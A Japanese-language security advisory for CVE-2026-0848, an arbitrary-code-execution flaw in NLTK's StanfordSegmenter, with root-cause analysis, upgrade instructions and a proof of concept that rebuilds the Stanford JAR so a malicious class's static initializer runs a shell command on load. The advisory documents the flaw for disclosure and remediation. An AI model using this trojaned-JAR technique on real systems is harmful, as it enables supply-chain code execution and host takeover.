CVE-2026-0848 — NLTK StanfordSegmenter: 信頼できないJARの読み込みによる任意コード実行

概要

説明

nltk.tokenize.StanfordSegmenter は、整合性の検証、署名チェック、サンドボックス化を一切行わずに、subprocess を介して外部の Java .jar ファイルを動的に読み込みます。このクラスは、path_to_jar、path_to_model、path_to_dict、java_class など、攻撃者が完全に制御できるパラメータを受け入れ、それらを java -cp 呼び出しに直接渡します。

攻撃者が、毒化されたモデルのダウンロード、中間者攻撃によるパッケージのすり替え、依存関係への毒入れ、または改竄されたリリースミラーを通じて JAR ファイルを供給または置換できる場合、JVM の静的初期化子メカニズムにより、クラス読み込み時に任意の Java バイトコードが実行されます。これは サプライチェーン型リモートコード実行（RCE） の脆弱性であり、Python ランタイムを完全に脱出します。

影響を受けるコンポーネント

CVSSベクタ

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

影響

悪用に成功すると、攻撃者は NLTK の分節処理を実行しているシステムを完全に制御できます：

• 任意の Java コード実行 — 悪意のある JAR に埋め込まれたあらゆるバイトコードが、Python/Java プロセスの権限で実行されます
• Python ランタイムからの脱出 — 実行が JVM 内に移り、Python レベルのサンドボックスを完全に回避します
• OS レベルのコマンド実行 — 攻撃者は Runtime.getRuntime().exec() や ProcessBuilder を呼び出して、任意のシェルコマンドを実行できます
• データの窃取と改ざん — プロセスが読み取り可能なすべてのファイル、環境変数、API キー、シークレットにアクセスできます
• 環境全体の侵害 — CI/CD、本番 NLP パイプライン、またはサーバー環境では、単一の悪意のある JAR によってホストが完全に乗っ取られます

リスクの高い導入シナリオ

この脆弱性は、StanfordSegmenter を使用するあらゆる NLP ワークフロー（チャットボット、LLM 前処理パイプライン、データセットの分節処理、文書分類、本番推論サービスなど）に影響を及ぼします。

概念実証（PoC）

この情報は、教育および防御目的でのみ提供されています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対してテストを行わないでください。

ステップ 1 — コア分類器を悪意のある Java クラスに置き換える

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

ステップ 2 — 悪意のある JAR を構築する

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

ステップ 3 — NLTK 経由でトリガーを発動する

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

出力:

[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

RCE の確認:

ls /tmp | grep pwned_hijack
# pwned_hijack

根本原因

この脆弱性は次の 2 つのファイルに存在します：

stanford_segmenter.py — StanfordSegmenter クラスのコンストラクタは、path_to_jar、path_to_model、path_to_dict、java_class をプレーンな文字列引数として受け入れ、以下のいずれも実行せずに Java 実行レイヤーへ直接転送します：

• パスの許可リストまたは信頼できるディレクトリの強制
• JAR の SHA-256 または暗号署名の検証
• 既知の安全なクラス名セットに対する java_class パラメータの検証

internals.py — java() ヘルパーは、ユーザーが指定したクラスパスで subprocess.Popen() 呼び出しを構築して起動します。JVM は提供された JAR 内のすべてのクラスを即座に読み込み、アプリケーションロジックが実行される前に静的初期化子ブロックを実行します。サンドボックスも整合性チェックも、注入されたバイトコードの実行を防ぐメカニズムもありません。

修正

この脆弱性は、アップストリームの NLTK リポジトリで完全に修正されています。

PyPI で入手可能になり次第、修正済みバージョンの NLTK にアップグレードしてください。

修復策

pip を使用したアップグレード:

pip install --upgrade nltk

インストール済みバージョンの確認:

python -c "import nltk; print(nltk.__version__)"

タイムライン

参考情報

免責事項

このリポジトリは、CVE-2026-0848 を教育、研究、および防御的セキュリティの目的に限定して文書化しています。概念実証コードと技術的詳細は、開発者、セキュリティエンジニア、システム管理者がこの脆弱性を理解、評価、および修復するのを支援するために提供されています。

この情報を、明示的な許可なくシステムへのアクセスや侵害に使用することは、違法かつ非倫理的です。著者は、本書に含まれる情報の誤用について一切の責任を負いません。

貢献者: ketanHub